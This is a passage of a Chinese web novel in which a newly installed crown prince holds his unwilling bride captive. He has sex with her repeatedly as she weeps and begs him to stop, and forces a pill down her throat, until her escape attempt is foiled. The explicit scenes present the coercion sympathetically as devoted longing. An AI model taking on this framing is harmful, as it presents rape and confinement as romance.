云窈思及落玉,默默接过酒杯,却忍不住委屈又哭了,一滴泪落在酒里,像雨落入湖面顷刻融为一体。 齐拂己被这滴泪刺痛,喉头滑动 ,极力克制着咽下除喜悦、期盼外的所有情绪。 云窈不动,他就主动举杯从她臂间绕过,云窈胳膊抖得厉害,酒面剧烈震颤,齐拂己扶住云窈的手:“娘子,端好。” 他一直凝视着她,云窈受不住,反倒先饮了。齐拂己这才一口饮尽。 继而结发,本朝习俗是将夫妻俩的青丝各分一缕绾成结,好生保存。齐拂己却将发结送入口中,吞下。 吓得云窈也不自觉吞咽一口。 齐拂己瞧见,含笑轻抚她脸颊。 而后收手,站起,解自己的玉带、褪袍。 云窈心一紧,晓得接下来是洞房花烛。 她不由自主就往床边挪,想跑,齐拂己轻叩住她的手,一脸不解:“怎么,要去找你那婢女吗?” 云窈僵住。 “不用找她,今夜我来服侍娘子。”他说着松开她的手。 云窈身子一软,倒在床上。 齐拂己俯下身吻她又流出来的泪,用舌头舔舐,最后一滴一滴全部饮入肚里,是不是他把她的泪饮尽了,她就不会再哭? 浸着她的泪,他又陷入纠结,许久,才心一横,散下金霞帐,帐上即刻透出两个交缠的影子。 “求求你,别……”云窈泣道。 齐拂己眉眼微垂,罩上一层哀伤,他发现云窈的眼泪和哀求好像是专门降服自己的法术,他心又软了。 但旁的依旧坚硬,他咬牙,闭眼,猛地挺进——要恨就恨吧,恨也是一辈子。 原来是这种滋味,齐拂己耳边除了轰隆隆战鼓,刀枪锵锵,再听不见任何声音。他成了战场上的将军,杀伐决断,山海震荡,热汗淋漓。 他终于明白父亲为什么那么渴望当皇帝,暴君的畅快真的难以言喻。 第42章 第四十二章 兔子的反击(一)…… 汗顺着齐拂己的脖颈往下淌,流过胸脯、腹肌,他因自己的剧烈动作思及云窈身体,怕她承受不住,就这么赤膊上身,往床边侧身去捡自己外袍,袖袋中翻出一瓷瓶,倒一粒丸喂云窈吃。 掐她唇角再一按喉咙,云窈还没反应,药就滚入腹中。 这是好东西,补气养血,强身健体。 云窈却以为是什么见不得人的肮脏药,立马哭得更凶。 齐拂己两眉渐锁,她的泪为什么不会干呢? 他放缓动作,俯身亲吻她,碰一碰唇,再啄嘴角,自己没意识到动作像极了小狗,想讨好主人却不得其法。 吻着吻着,她的泪止了,他却目光下移,定在她的锁骨上。 他再往下吻下去,不放过一寸肌肤,探索自己之前不敢涉及的秘境。 空着的手抚上云窈胸前吊的桃红碧玺坠子,抓住。 云窈一下从麻木和悲哀中惊醒,汗毛倒竖。 齐拂己手无声摩挲了下吊坠,早就有留意这枚水滴坠子,她每晚睡觉都戴着,绝不离身,昏迷的时候他也没擅自做主给她摘下来。 齐拂己轻轻将坠子翻面,抬头笑看向云窈,眼神中仍带几分迷离,声音也有些哑,低沉泛着潮气:“为什么刻个琴字?” 云窈下瞥,他的手仍抓着吊坠,她紧张,却又不敢盯着瞧,怕齐拂己觉出端倪。 云窈一激动手抓上齐拂己肩膀,齐拂己愣了下:她这是……主动勾他的脖颈? 这个想法令他的心立马开始颤抖,看着她白玉一般的胳膊,觉得又甜又酸。 他不知不觉松手放开碧玺吊坠,重新埋下,轻拨樱桃。云窈牙关没咬紧,本能嘤了声,齐拂己滞住,竟由这声产生诸多联想,仿佛她在迎合、呼唤。 他眼眶一热,缓缓埋深,心上的冰原化成雪水,愈来愈暖,真像方丈讲的故事,没入红莲两瓣中。 心甘情愿。 …… 一场情事后,齐拂己仍紧紧箍着云窈不放。 “睡吧。”他轻道,自个阖上双眼。 云窈也闭眼“入睡”,但等了许久,她心里都数过了一千,才敢睁开眼打量齐拂己——他眼闭着,她安静听了会他的呼吸,很均匀,好像真的睡着了。 云窈身不动,仅转眼珠,因为谨慎且紧张,挪动得极其缓慢,终于盯住齐拂己搭在她胳膊上的那只手。 她想把这只手挪开,然后蹑手蹑脚逃跑,却又不敢,怕中途惊醒引来他的暴怒。 云窈攥起的掌心渗出热汗。 其实,齐拂己不曾入眠。 他听见云窈的呼吸越来越紊乱,只要稍微动点脑子,就能猜到她在紧张什么,盘算什么。 这猜测令方才融化的河流瞬时冰封住一部分。 他在等,内心颤抖着,祈求着不要。 可云窈的手还是触碰上齐拂己的手,他的心彻底冰封成原样,冷酷寒风绕着冰川呼啸。 她很小心,仅用食指试探,但就这一指就戳碎了他方才自个营造出来的温情和美梦。 他没有勇气睁开眼,怕看见更难以承受的事实,只自欺欺人发出一声轻鼾,同时搂着云窈的手拢了一拢。 云窈耸点,心跳加速,脖颈僵硬地转过来看齐拂己——还好,他还睡着,这是梦中无意识的动作。 但她也不敢再扒他的手,就这样收紧手臂紧贴自己两腿,到后半夜许是太困了,竟沉沉睡去。 云窈再醒来时,外头天光正亮,几缕阳光照在她身上。她本能追寻光亮,不似昨夜火烛昏暗,日光将整间屋子暴露在她眼前——很宽敞,莫说寻常人家,比国公府的正厅都宽敞许多,许是因为地上铺的砖颜色灰白,呈现一种说不清的空旷、冰冷和孤寂。 云窈心生茫然,又发现这间大屋子窗户也修得特别高,人要仰头才能瞧见窗。 一只手忽然搭到她锁骨下面,云窈吓得回神扭脖,看向另一侧——这才记起齐拂己搂着自己睡了一晚上。 他瞧见她脸上的惊吓,手却没有放开,扬高的唇角也难撇下——他终于实现了和她一觉睡到天亮的愿望,而且男女情事的滋味也十分美妙,令初尝的他上瘾,禁不住开始轻揉打圈。 过会翻身,两臂撑着,在云窈上方腾空。 云窈又哭了。 他一手继续支撑,另一手抬指替她拭去眼角的泪珠:“你上辈子是云做的吗?” 云化作雨,再变成泪。 虽然知道她难过,但瞧着她的青丝弯眉,直鼻粉面,还有那软得似无骨的身子,他还是忍不住,嗅了嗅她身上的体香,垂首压低。 “殿下。”外头有人唤。 是公主来了吗?云窈听见、心想,可下一瞬她却听见齐拂己回话了:“今日我告假,不去上朝了。” 他像头回吃糖的孩子,食髓知味,贪了一颗又一颗,直到晌午才消停。 躺在床上平复了会气息,齐拂己问云窈:“饿不饿?” 云窈毫无回应。 齐拂己也不恼,自说自话:“我让他们送些吃的进来。” 说着起身、离床、穿衣。 云窈呼吸一滞,可以趁这个机会逃跑吗? 齐拂己定了须臾,回身,给云窈把被子拉上、扎紧,同时散下幔帐。云窈的视线即刻被金霞遮蔽,明明璀璨晃眼,却觉再次陷入黑夜。 她只能听声——开门声、脚步声,布菜声,人在这一刻耳力变得卓绝。 “放着吧。”齐拂己淡道。 “喏。”又是一阵脚步声,最后汇成一声门关紧的声音。 即刻,齐拂己的脚步朝她走近。 他束起帐幔,先捡她的衣服给她披上,才扶着坐起:“来,吃点东西。” 云窈才发现他挑了三碗粥,连盘一道端到床边几上。 隔得有些远,云窈辨不清都是些什么粥,但她确实有些饿了,还不想死,主动眺向齐拂己。这一眼激得他心花怒放,忙一手端粥,一手执勺,吹了吹,笑道:“你才将恢复,还不能吃太硬的。” 云窈两眼红红盯着他,他也晓得她才将恢复啊?那为什么对她做那样的事情? 她眼眶一热,已不知是第几回淌泪。 齐拂己放下碗给她拭泪,竟有些手忙脚乱。 哪怕泪眼看不清,云窈也依然要望着他:“我昏了多久?” 齐拂己深口气,唇分又合,此事说来话长。 “一整个月,你之前有断断续续地醒,只是神智不大清醒。” 这一个月里,他每天都抽空来看她,她会吃东西,但经常晕,晕过去又不记得了。御医看,他自己也看了,她身子没什么问题,是心病。 直到这次醒来,她终于神魂归位,想来,以后应该不会再晕了。 “我在哪?”她哭着问。 “东宫。”齐拂己边帮她擦泪边旋起唇角,如果她问的是我们在哪,那就更好了,“你现在是太子妃了。” 云窈脑子里白了一霎,缓缓回神——这太荒谬了! 齐拂己的笑却没再敛过,拨她额前乱发到耳后:“既然不哭了,吃点东西?” 云窈点头,她要吃东西——他现在是太子,那她就更难逃跑了,一定要保存很多很多力气。 “我自己来。”她说。 齐拂己一笑,任由她将碗勺夺过。 云窈狼吞虎咽,齐拂己见她食欲好,也不哭了,还以为云窈想开,不由也跟着心情好:“慢点吃。” 说着起身,云窈一面吃一面偷看他走到桌前,掏出根针在好几道菜里扎了扎,接着就将那些菜端到云窈面前:“这还有些不油腻的小菜,你捡喜欢的吃。” 云窈知道齐拂己今日也没进食,却没有丝毫关心他的意愿,不问他吃不吃,自己挑喜欢的饱肚。 齐拂己自己捡了双筷子,云窈吃什么,他就跟着尝试什么,才发现她品味不俗,道道菜都比他以前吃过的香。 齐拂己破天荒吃了两大碗饭。 云窈那边已经吃饱,放下碗就开口:“我要见落玉,你答应我的。” 齐拂己可不想这么快见第三人,只想和云窈腻在寝殿里,缠绵或是日常起居,都好。 他竟有点不好意思说,眨了下眼:“再黏会。” 说出口脸颊微烫。 云窈全无反应,自然也无笑意。 齐拂己脸僵了下,转瞬恢复和颜悦色,搂着她嗫嗫嚅嚅,情人絮语。 他到翌日才安排落玉进殿见云窈。 门一开,这回云窈不在床上,早早坐到桌边,因此终能瞧见门外景物人事,领落玉来的是大安,他连瞥齐拂己三眼,掩不住脸上不安:“世——殿下!” 大安还没习惯改口。 齐拂己对上大安视线,并未着急开口,先转身同云窈商量:“我先出去回,尽早回来陪你。” 云窈巴不得他走,点了下脑袋。 齐拂己嘴角漾高,她也希望他早点回来。 “好好伺候太子妃。”他又叮嘱落玉,这才离开寝宫。 到了外面,大安踮脚附耳:“世——殿下,陛下这两天已经传召您五几回了!” 齐拂己不见惊慌色:“现在去见他。” 他一进御书房,才将掀袍,甚至还未屈膝,圣人就冷哼:“还没当上君王,就不早朝了?” 齐拂己屈膝,继续之前的跪拜礼,不曾中断。 圣人手边有块砚台,却舍不得砸唯一的儿,只拣了本早挑好的,最无关紧要的奏章,轻飘飘冲齐拂己身上砸去。 齐拂己没躲,任由奏章砸在身上——能和云窈新婚燕尔,朝夕相处,这点痛不算什么。 他行完礼后,不紧不慢站起,启唇:“父皇,难道您不想有个孙儿吗?” 圣人的脸色由阴恻愠恼渐转成别的,分外复杂。 齐拂己面色不改,内心却悠悠生出一丝稳操胜券的得意,忽然,他的鼻尖异常痒,忍了又忍,却还是打了个喷嚏。 啊欠! 分外失礼。 * 东宫寝殿。 反正就主仆两个,落玉连呸两声。 呸,太子难道没看出她家小姐不情愿吗?他眼瞎吗? 呸,以前还以为他是个大善人! 云窈抬手捂住落玉的嘴,她的动作仍似从前温柔,因此没捂住,落玉的第三声呸从指缝间漏出来。 呸,不得好死! 云窈咬唇,还好只是三声呸,落玉没有把后面那些话真骂出来。 她站起身,从笔架上取下一支细毫。 “小姐你要——” 云窈指放唇上,噤声。 落玉便要默然研墨,云窈又摆摆首,笔蘸水在砖上写下:你去帮我寻些避子的方子来,不一定非要是药,可以混在吃食里,也可以是香,不能被他发现。 这是她从齐拂己那学来的招数,想了想,又写一行:以后,这方子下也下给他。 待落玉读完,云窈端起一盆水,把那处地面全泼湿。 第43章 第四十三章 “窈娘,试着接受我……”…… 落玉站了会,明白了,眼神转喜,也跑去抓笔在地上写:好,还有什么吩咐? 以前小姐读书的时候老爷夫人允她旁听,能通文墨,字歪歪扭扭但没大碍。 云窈心底原本在琢磨、犹豫,被落玉一鼓励,写下自己的逃跑计划。 落玉赶紧泼水消了,眼睛望着自家小姐:好主意,她听小姐的,只是……普天之下莫非王土,她们逃得掉吗? 云窈眸光恍了一霎,重新凝聚:应该能的,芸芸众生,一粒沙若已隐入沙丘,他未必能从万万粒沙子里挑出来。 * 齐拂己一散值就赶回寝殿,还未开门,仅站门口,就觉热气蒸腾,待进去,顷刻身上渗汗。 没允旁人进门,殿内就只云窈落玉,齐拂己解狐裘披风搭架上:“地龙怎么开得这么大?” 他担心太干了云窈上火,第一眼就关切看向心心念念的佳人,却见云窈捏着帕子,正一下下擦眼角。 又哭了,在拭泪。 落玉则瞥着云窈,欲言又止。 齐拂己脸上的笑倏然消失,多少回了,心里又变得酸胀柔软。他快步朝云窈走近,坐到身边安慰:“别哭了,哭多伤了气血,就会觉得冷。” 所以地龙才生得这么热。 云窈低垂脑袋,帕子遮眼,原来他是这么想的——她生地龙其实是为了蒸干地上水渍,免得露马脚。 云窈手上的帕子忽被拽走,心头一紧,头垂得更下。 齐拂己夺过云窈的帕子,替她擦拭。 因为她两眼一直是肿的,所以他并没有发现端倪,反而越擦动作越温柔,眉头蹙起,心生担忧。他从来信自己判断,极少听他人言,却主动寻了个两两私下的机会问落玉:“你家小姐是不是心里有什么事?” 不然昨日殿内,缘何欲言又止。 “有啊。”落玉旋即嘟囔,“不然怎么会天天哭呢!” 齐拂己心一揪,两颊绷紧。 “小姐是闷出来的眼泪。以前老爷夫人在时,有一回小姐犯错,将她关了禁闭,拘在楼上,小姐就这样,一直哭。”落玉照着云窈教的讲。 齐拂己面色逐渐缓和,终于,她哭的原由不再是他。 他又觉得奇怪,云窈怎么会觉得闷呢? 在他看来,和她腻在寝殿是人生最幸福的时光,他愿意,也完全可以在寝殿里待一辈子。 齐拂己今日忙完政务,没散值时,特地读了些古往今来的夫妇之道,里面说夫妇要先同道,方才同心,又说夫妇想要恩和爱,就要先能推心置腹。 于是齐拂己在翌日给云窈眼周上膏药时,温声询问:“你……是不是想出去转转?” 云窈终于等到了这句话,心底欢喜,面上演出一愣,却又担心自己演的不好,太刻意显假。 她眼珠不自觉转动。 齐拂己噙笑随她目光扭头。 完了他怎么也跟着看了,云窈一紧张指前方上头的窗户:“窗子太高了!” 齐拂己微怔,继而笑出一声。 她这就是……所谓娇嗔? 她终于肯同自己嗔一嗔。 这一霎齐拂己爱到不行,展臂搂住云窈:“是窗子修得太高,将你闷坏了。这两日不行,过几天我休沐,陪你散心。” 云窈慢慢撩起眼皮眺看齐拂己,眼神仿佛在说:她可以吗? 齐拂己难受得抿了下唇,以后不要在他面前说些可不可以,谢谢之类,他不要这样小心翼翼和生疏。 “当然了,”他执起云窈的手放上自己手上,又伸另一只手覆住,她的手心手背都要贴着他掌心:“我们夫妻俩好商好量。” 云窈缩了下肩。 齐拂己手旋即搭上云窈肩头,抚了抚,忽然发现她两肩不似别处柔弱无骨,各有一小搓肉偏僵硬。 “我帮你捏捏。”他起身就要绕到云窈身后,云窈自然抗拒。齐拂己将她身板正:“坐好。” 云窈不敢动了,胳膊贴紧身两侧。 他又在她眼前轻轻一抚:“闭眼。” 云窈把眼闭上,但眼皮紧跟着剧烈抖动两下。 齐拂己瞧见,无声翘高嘴角。 他褪靴掀袍,上榻跪到云窈身后,先给她捏肩,接着开背。 云窈不自觉缩紧。 齐拂己笑着用肘按住她的肩:“放松,别怕。” 可能是有点疼,但他不会害她。齐拂己想,如果哪天反过来,云窈主动服侍他,无论手捏脚踏,针扎火灸,他都甘之如饴。 突然想到云窈给齐拂意捏过肩,齐拂己脸色骤沉,禁不住想加重手上力道。 又想,人死堙灭,他跟一个死人争什么? 转念又想云窈给二弟捏了不知多少天,他一天没有,还是恨恨不甘心。 他的手往下捏去,拔脊后再往下,到腰间,两手分开,宽厚的掌心一顺滑过她的腰,呼吸渐重,眸色愈深。 因为他的每一个动作皆令云窈紧张,所以她并未察觉变化,直到他的手探进裙中。 云窈一惊,侧过身来推他,却被齐拂己单手捉住两手。他另一只手蜿蜒游走,探洞涉溪,她恍觉得蛇又来了,央求:“别……” 嗓子紧得像又要哭。 齐拂己听着难受,上身主动贴上云窈后背,严丝合缝,几乎想要嵌进去:“窈娘,试着接受我……” 试着接受他,别再抗拒、推开。 他的指在秘境里加快拨动,这也是他白日闲时学来的,云窈的身子很快软成一滩水,任采撷,但她紧紧合着两瓣唇,始终未出一声。 哪怕她脸上的表情不是他想看到,齐拂己还是将她翻个身,正对自己,他想看着她,想在做这最亲密事的时候,能得到她回应的眼神、回应的动作、回应的吻…… 人心不足蛇吞象。 …… 大汗淋漓的欢愉过后,齐拂己依旧搂着云窈入睡,云窈却愁得睡不着,落玉莫说寻方凑药,就是稍微旁敲侧击地打听,那些宫人内侍要么噤声,要么不动声色转移话题,警觉得很。 可齐拂己一直很频繁,万一…… 云窈一天十二个时辰都压着这事,心绪低落,有时候焦虑得手都在抖,好在隔天她就来了月事,立马长长松一口气。 这不仅意味着没有中招,还能躲齐拂己一段时间,云窈头回这么高兴见血。 是夜就寝前,云窈禀明此事——妇人污秽,恕不能服侍太子。 说完她就告退,转身朝门口走,齐拂己抬手拉住:“你要去哪?” “恐脏污了殿下,奴今日和落玉一起睡。”云窈说完心里默默嘀咕一句:你才脏! 齐拂己沉默着将她揽入怀中。 依旧坚持同床共枕,侧身胳膊搭过来,箍住她的腰。 云窈能闻见自己的血腥味,于是故意夸张吸鼻:“殿下,有腥味。” 闭着眼的齐拂己将手挪下,覆上云窈小腹——以前曾听说过,妇人来癸水时会痛,这里敷些温热物能缓解。 他原本不打算睁眼,想到这,还是撩起眼皮观察云窈,见她眉蹙唇咬,真的很疼吗? 他挪身子,往云窈那侧再凑近些:“要不要传御医来瞧瞧?” 云窈尚在思忖,齐拂己就自作主张传了御医,隔着金霞帐悬丝诊脉,她听着御医似与齐拂己熟,直言回禀:“殿下,太子妃这是肝气瘀滞,宫内虚寒,停潮以后需喝些温经汤,好生调养,才好开枝散叶。” 云窈琢磨须臾,就明白这是说她难孕,不由扬高嘴角,真是瞌睡遇到枕头! 这晚,云窈睡得稍稍安稳了些,半夜齐拂己睁眼偷瞧,竟见她梦中挂着笑意。 果然精诚所至,金石为开,想到自己的付出正渐渐看到回报,齐拂己收臂将云窈拢紧,亦睡得香甜。 雪挟疾风,在众人的睡梦中再次降临京城。 一早起来时,大雪已停,屋顶皆白,自有宫人服侍太子和太子妃梳洗,他穿衣也要立在她的妆台旁边,见宫人给云窈梳的像是飞天髻,出声阻止:“别梳这个飞天髻了,梳个好戴斗篷的。” 云窈昼夜待在暖如春日的寝殿,几时需要穿斗篷?闻言会意,眉心一跳。 帮她画眉的另一宫人一笔画歪,急忙跪下:“奴婢手抖,太子妃恕罪!” 齐拂己先瞥宫人,而后看向云窈,垂下眼帘。 “没事没事快起来。”云窈站起,差点想和宫人对跪,“没事的,是我方才坐不住,动了一下。” 齐拂己这才沉声:“还不快谢谢太子妃?” “谢谢太子妃。” 云窈扶起婢女,重坐回妆凳上,想了想,还是抬头看了齐拂己一眼,这算是离开床榻后她第一眼投向他,齐拂己大喜:“来得早不如来得巧,这大雪赶上我休沐,正好带你去赏雪景。” 云窈点点头,不知去哪里赏? 下雪不冷化雪冷,齐拂己怕她冻着,给她挑了双内里带绒的羊皮小靴,又披上厚实的斗篷——里面缝了两层白狐狸皮,外面是正红羽纱。 走在雪中,独云窈一身红分外醒目,齐拂己凝睇,目光从斗篷移上云窈的唇,是同一色的红,仿佛斗篷是她唇脂所化。他心里不受控滋生喜悦,手主动伸过去,握住云窈指尖。 云窈抬起手中暖炉给他看,有东西,不方便牵。 齐拂己讪讪缩手,忘了,还是手炉暖些,虽然很想和她十指紧扣,但更不愿她冻着。 云窈两手捧炉一并钻进暖手筒里兜住,留个手肘对着齐拂己。 他也不恼,和她前后上了软轿,走了一刻钟,齐拂己先下轿,再来牵云窈。这轿子着实有些高,她搭了他一把,落地询问:“我们到了吗?” “还早呢,这还在宫里。只是前方不能坐轿了。”齐拂己耐心解释,前方御道除却圣人,余者皆需步行。 云窈原本以为齐拂己领去的是御花园,闻言两眸齐亮:她能出宫了! 齐拂己瞧见云窈眼中抑不住的神采,唇角先翘高,却又僵滞须臾,抿了下唇。 “我们今日出宫。”他一字一句出声,目光在云窈脸上晃动。 第44章 第四十四章 兔子的反击(二)…… 云窈冲他笑了笑,齐拂己很缓慢地回以一笑。 云窈低头往前走,想到即将出宫,脚步不自觉轻快,却又怕齐拂己看出端倪,压慢速度。 齐拂己盯了会云窈的靴子,快步赶上,与她平齐。 侧扫一眼,她手仍拢在暖手筒里,不能牵。 出宫门后,就见大安赶着一辆通体紫檀木的马车等在门外。 就一辆车? 云窈手偷偷在暖手筒里攥紧。 车边未摆脚凳,只蹲着一个弓背小内侍,云窈迟疑了一会才敢确定,是要踩人凳上去。 她还是没抬腿,下不去脚。 齐拂己走近半步,摆摆手,示意宫人退下。 他一个纵身跃上马车,而后倾身弓背,朝云窈伸来一只手。 云窈手从暖手筒中抽出来,还在犹豫,就被齐拂己一把抓住带上来,结结实实撞进他怀里。齐拂己立马下意识箍紧,而后低头瞥她一眼,呼吸变粗。 他松开她,推门先进马车。 云窈迟了会才弯腰钻进车厢,还未直起身就愣住——里头说是车厢,却更像间屋子,四方桌椅并一张卧榻,不见炭盆却暖意浓浓,难不成车里还能生地龙? 她存疑但没心思想,见齐拂己坐在桌边上首,便想挑离他最远的卧榻,转念又在心里高呼万万不可!那榻能睡能卧,万一齐拂己动念,今日别想逛街了,估摸整日都在榻上。 到时候还怎么勘探逃离路线! 不对,眼下她有癸水傍身。 云窈这么一想,就有恃无恐坐上卧榻。 齐拂己手搭扶手,垂耷的眼皮微撩,瞥云窈一眼,马车晃悠,再瞥一眼。 云窈也偷瞟齐拂己,和他对上,赶紧扭头对窗,将开一缝,就有冷气往里灌,云窈却没有关上,眺看着街景,默默记下出宫的路。 街上的雪不像宫里头的,除却主道,都还没扫,行人不多,云窈瞧见一个乞儿缩在街角瑟瑟发抖,马车走过了云窈仍禁不住回头看,想舍他点银子,却觉身下一轻接着又一重,再定睛时,齐拂己已坐在榻上,而她,被圈在他膝上。 云窈赶紧提醒他:“我身上不方便。” 齐拂己蹙眉,胸脯起伏了下,眸中一闪而过的流光似怒又似委屈,最终抿了抿唇,沉道:“我没那心思。” 过会,他又说:“我过来是想和你说,方才上车的规矩,我也不习惯。” 云窈闻言稍稍放松了些,纠结要不要和他商量个事,就听齐拂己续道:“但欲知方圆,则必规矩;不遵规矩,则失君臣之道。” 云窈陷入良久沉默,扭头再次望向窗外,不知正经过哪位大户人家,宫里梅还未开,这里竟有一排殷红梅花越出墙头绽放。 再往前走,又见一湖,三两行人湖边赏雪。马车却没有停留,大安毫不犹豫往前赶,云窈咬唇,不知齐拂己要带她到哪里去赏景? 马车过了桥,哒哒前行,瞧见熟悉的牌坊和府门,云窈眼前天旋地转。 他竟然把她带回魏国公府!! 这里有那么多不好回忆,云窈顿觉呼吸不畅,仿佛被从一个牢笼关进另一牢笼。 齐拂己却道:“到了。” 她看他脸上笑意像是真高兴,越发窒息,齐拂己却是真考虑过,京中除了宫里,就属从前住的国公府景色最佳。 “走吧。”他笑着邀请云窈进门。 府中道路亦无积雪,云窈的手迅速拢进暖手筒,还是不能牵,他含情脉脉看着她:“随我来。” 领她登上一处高台,又怕雪没铲干净阶滑,不住提醒小心。 云窈早前入府,听姨妈提过一嘴这里叫镜花台,却不知道登上来后,整个国公府一览无遗,尤其琴堤那里,曲桥弯堤,星罗密布。 “你瞧瞧,喜欢哪的景,我们就去哪逛。”齐拂己道。 云窈视线收近,俯视紧挨着镜花台的一片水杉岛,雪未扫过,除却水杉皆白茫茫。 “别往那边走了。”她虽然穿的羊皮靴子,齐拂己却仍担心浸湿,“往正道上逛吧。” 云窈背着他勾了下唇角,说让她挑去哪逛,结果又不让。 她始终未言语,跟回齐拂己身后。 每走一步她都在想,要是和齐拂己一样会点穴就好了,现在出手定住他,然后逃跑。 路旁一竹承不住雪,在二人面前折断,发出一声脆响,积雪簌簌往下落。齐拂己身体比脑子先反应,俯身替她挡住,雪尽落在他背上。 待再直起身时,云窈问了句:“你没事吧?” 齐拂己瞬间心里淌过一道暖流,抿唇泛笑,他冲云窈摇了摇头,然后一直注视着她。 刚才还有有数瓣雪花飞到她发间,齐拂己抬手替她抚去,就好像挑白发,他的心在这一刻寻到静谧。 再往前,红梅朵朵成林,齐拂己叹道:“家里的梅花也开了。” 云窈心一紧,他竟留意到她路上看什么,想什么。 二人就在梅林旁边的阁子里赏花,坐着吃了些牛乳、暖茶。 婢女们又上枣泥糕,齐拂己瞧见糕的花样,微微蹙眉——赏梅一般吃梅花样糕点,梅的瓣尖是圆的,桃花瓣尖是尖,这个尖尖角,显然误做成了桃花样。 “这个谁做的?”齐拂己询问,这个错太不应该了。 很快有了答案,原先做糕的几位厨娘都被圣人招进宫,讨好置气的皇后,所以现在府里做糕的娘子是新聘的,没想出这大岔子。 婢女们跪了一地,等待齐拂己处罚。 云窈听了前因后果,看不过去:“桃花也很好啊,我最喜欢桃花。” 齐拂己抿了下唇,旋即赦免了下人们的过错。 “你最喜欢桃花?”他重复问。 一个谎言开了口,就得一直圆下去,云窈点头。 齐拂己笑起来:”那桃花开的时候我们再回府里,咱们府里出名的十景之一就是桃花残碣。” 云窈先是心想:还要来国公府啊? 转念又觉得这是个好机会,默不作声。 齐拂己又将她牵到身上坐,搂在怀里,下巴蹭她的肩膀,云窈不得不再次提醒: “我没忘,就抱会。”齐拂己小声央求,他也说不清楚为什么,就想粘着云窈,他用鼻尖蹭她的脸,接着又将自己的面颊贴上去,腻乎好一会,茶点吃完,景亦赏完,才往别处去。 待折返回来时,距离大门还有一段距离,齐拂己问她:“累不累?累了我背你。” 云窈摇头。 回宫照例要下马,这会又下起雪,风往斜刮。齐拂己换了个位置站到她前面,挡住风口,云窈本能侧首不看他,却见远方廊下立着一位衣着雍容的女子,身后跟一队婢女,似正注视他俩。 云窈定睛,认出女子是汉阳公主,如今的皇后。 “雪太大了,快上轿去。”云窈被齐拂己推上轿。 自这日起,齐拂己一旦得闲就带云窈出宫玩,不拘魏国公府,也到别处转转。 云窈的日子变得日日夜夜有他,二人没再分开超过十二个时辰,至于圣人和皇后,云窈只在除夕和正月初一的宴会上遥拜过,他们好像和在魏国府时一样,却又觉得哪里都变了。 避子药落玉一直没弄到,却弄来了几根迷香。 云窈收好,静待时机。 这一日齐拂己自东宫上朝,却又急急折返回寝殿,云窈尚在梳妆,倏地站起行礼。再抬首时,齐拂己默不作声,含笑一步步走近。 她紧张:“殿下,怎么了?” 他背到身后的手绕至前来,将两朵带露桃花簪在她鬓间。 “桃花开了,明日我们去赏花。”他抓着她的手摩挲了下,又在额间落下一吻,“我上朝了。” 说罢匆匆离殿。 翌日,齐拂己真带她回国公府赏桃花。 梅岭的花全开了,深红浅红,红了满眼,灼灼其华。 穿梭岭间,偶有花瓣落再二人肩上。 齐拂己见云窈走到唯一一棵没开的树下,立马笑着跟上,手扶树干:“这是唯一一株樱。” 他以前不爱游山玩水,觉得没什么乐趣,赏花,觉得好也好看,人也好看。 他忍不住同云窈道:“以前人都说我们国公府景美,我却觉好是没,但意思,现在方才觉出真味。” 他低下头,竟生出两分羞涩:“想来是缺个一道赏景的人。” 云窈在樱树下垂首,他偷瞧,心想她应该有听见吧。 “我们上亭子里去,”齐拂己指高处鸳鸯亭,“那里视野好,一览全收。” 二人登上,游目骋怀,齐拂己情不自禁绕到云窈身后,展臂将她拥住。他吸她脖颈和发髻间的香气,吸着吸着呼吸加粗,牙齿咬住她的耳朵,手往里探。 “别。”云窈缩肩膀,推他。 “今日又没事。”她身上方便。 齐拂己想着,伸舌尖舔了下云窈耳垂。 云窈还在推:“你好歹找个四面遮挡的……” 齐拂己一面吮一面思忖,想到一个好去处,手收回来。 云窈将松口气,就生下一空,被齐拂己打横抱起。 “你做什么?”她腿在空中踢。 “带你去个没人打扰的好地方。” “去哪?是哪?” 他大步流星将云窈抱回木樨小筑,放到床上来不及全褪衣衫就急急推进,终于圆梦了,在这间房里,在她清醒地睁着两眼时完全占有她。 一股酥麻浸袭四肢百骸,差点失守。 齐拂己仰脖深吸口气,缓了好一会,才继续进进出出。 云窈只觉平时的齐拂己就很要命,今日更是要命百倍,她垂下眼帘,任由他摆布了会,突然在结束后,齐拂己正起身时,主动伸臂去勾他脖颈。 齐拂己一愣,这是她头回主动。 出乎意料,他下意识朝前倾身,云窈身上猝不及防撞上他胸膛,激得他头皮发麻,太阳穴突突直跳,再看那藕似的胳膊,和同样雪白的细腿,他忍不住重新覆下。 床榻、桌椅、或抱他在闺房里四处走动,蒲团,锦墩,情潮如浪,他和她共乘一舟浮沉,禁不住一遍又一遍唤:“窈娘。” “窈娘。” “好窈娘。” “窈娘,也唤我一声吧……”他央道。虽然没能如愿,但也得了一小段莺莺呖呖,愈发卖力。 齐拂己从未如此尽兴过,到夜里仍未回宫,就在木樨小筑睡去。 三更,云窈睁眼——她一直没睡。 云窈看向身侧男人,他阖着眼,羽睫极少震颤,再往下露半个上身在被子外,青丝散乱。云窈悄悄抬起他的胳膊,移走,下床。 她想如果齐拂己醒了,她就说自己起夜小解,手抖着点燃迷香,甚至不敢绾发,提鞋退出闺房。 门都没敢怎么带,怕出声。 出了木樨小筑云窈才敢穿鞋,继而飞奔,怕惹来仆从,没有提灯,国公府里多假山,黑夜里格外嶙峋,她有些害怕,却又想人比鬼更可怕,就不怕鬼了,甚至还有点庆幸黑夜替她掩藏。 云窈逃进约好的客栈,落玉早等在那里:“小姐,你终于来了。” 原先落玉要扮老妪,云窈劝阻,手化不出真实的苍老,所以落玉最后准备的皆是男子衣裳,勒了胸、贴喉结胡茬,眉也描粗,天将蒙亮就离开客栈。 先去钱庄。 云窈仰望一眼昇昌招牌,和落玉一道进门。 “你在这等我。” 跟以前一样,落玉等在厅内,云窈单独去取钱。 落玉点头,特意挑了门后的位置,来往行人望不着。 云窈进里面给看了碧玺坠子,说这回要取的金额较大。掌柜颔首,抬臂:“东家在后面等着。” 云窈进到最里间,跨过门槛抬头,前方太师椅上正坐着齐拂己,穿的还是昨日一道赏花的紫袍! 他微分双腿,一手撑着扶手,掌托脑袋,微笑看她。 云窈转身要逃,大门却轰地一声被关上。 她双腿一怔。 啪、啪!齐拂己坐在椅上,缓缓拍了两下巴掌:“水滴坠子后面刻的是你的乳名琴琴,你凭这枚坠子在昇昌钱庄取齐家存款。你原想你婢女寻的是避子药,谁知歪打正着得了迷香。” 他咬重歪打正着四字,云窈心沉腿软,完了,这迷香是他设计让人给落玉的,她被他耍得团团转。 